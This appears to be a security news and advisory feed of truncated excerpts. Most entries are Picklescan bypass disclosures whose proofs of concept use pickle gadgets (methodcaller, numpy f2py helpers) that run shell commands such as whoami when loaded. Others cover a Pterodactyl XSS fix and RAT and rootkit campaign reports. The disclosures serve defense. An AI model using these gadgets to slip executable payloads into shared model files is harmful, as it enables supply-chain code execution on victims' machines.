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### Summary Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method - Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle import pickletools opcode2 = b'''cbuiltins __import__ (Vos tRp0 0c_operator methodcaller (Vsystem Vecho "pwned by _operator.methodcaller" tR(g0 tR.''' pickletools.dis(opcode2) pickle.loads(opcode2) ``` This PoC can't be easily create by pickle.dumps, so it was manually built. ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed mali...

### Summary Picklescan uses the `numpy.f2py.crackfortran._eval_length` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling. ### Details Picklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran._eval_length` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution. ### PoC ```python class PoC: def __reduce__(self): from numpy.f2py.crackfortran import _eval_length return _eval_length, ("__import__('os').system('whoami')", None) ``` ### Impact - Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file. - Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts. - Enables supply‑chain poisoning of shared model files. ### Credits - [ac0d3r](https://github.c...

### Summary Picklescan uses the `numpy.f2py.crackfortran.getlincoef` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling. ### Details Picklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran.getlincoef` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution. ### PoC ```python class PoC: def __reduce__(self): from numpy.f2py.crackfortran import getlincoef return getlincoef, ("__import__('os').system('whoami')", None) ``` ### Impact - Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file. - Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts. - Enables supply‑chain poisoning of shared model files. ### Credits - [ac0d3r](https://github.com/ac0d3...

> [!NOTE] > Message from the Pterodactyl team: > > The Pterodactyl team has evaluated this as a minor security issue but does not consider it something that should be assigned a CVE, nor does it require active patching by vulnerable systems. > > This issue is entirely self-inflicted and requires an administrative user paste an _obviously_ incorrect value into a database host field, submit it, and run into the XSS when the error message is rendered. However, we have determined that this fix is good security hygiene and may prevent issues in other areas not yet discovered. ### Summary When an administrative user creates a new database host they are prompted to provide a `Host` value which is expected to be a domain or IP address. When an invalid value is encountered and passed back to `gethostaddr` and/or directly to the MySQL connection tooling, an error is returned. This error is then passed back along to the front-end, but was not properly sanitized when rendered. Therefore it is po...

The threat actor known as Silver Fox has turned its focus to India, using income tax-themed lures in phishing campaigns to distribute a modular remote access trojan called ValleyRAT (aka Winos 4.0). "This sophisticated attack leverages a complex kill chain involving DLL hijacking and the modular Valley RAT to ensure persistence," CloudSEK researchers Prajwal Awasthi and Koushik Pal said in an

We explore how the rapid rise of Artificial Intelligence (AI) is putting users at risk.

Artificial intelligence (AI) is making its way into security operations quickly, but many practitioners are still struggling to turn early experimentation into consistent operational value. This is because SOCs are adopting AI without an intentional approach to operational integration. Some teams treat it as a shortcut for broken processes. Others attempt to apply machine learning to problems

The Chinese hacking group known as Mustang Panda has leveraged a previously undocumented kernel-mode rootkit driver to deliver a new variant of backdoor dubbed TONESHELL in a cyber attack detected in mid-2025 targeting an unspecified entity in Asia. The findings come from Kaspersky, which observed the new backdoor variant in cyber espionage campaigns mounted by the hacking group targeting

To prevent unexpected untrusted code execution, the Visual Studio Code Go extension is now disabled in Restricted Mode.

### Summary Picklescan uses numpy.f2py.crackfortran.param_eval, which is a function in numpy to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.param_eval function via reduce method. - Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution. ### PoC ``` class RCE: def __reduce__(self): from numpy.f2py.crackfortran import param_eval return (param_eval,("os.system('ls')",None,None,None)) ``` ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distrib...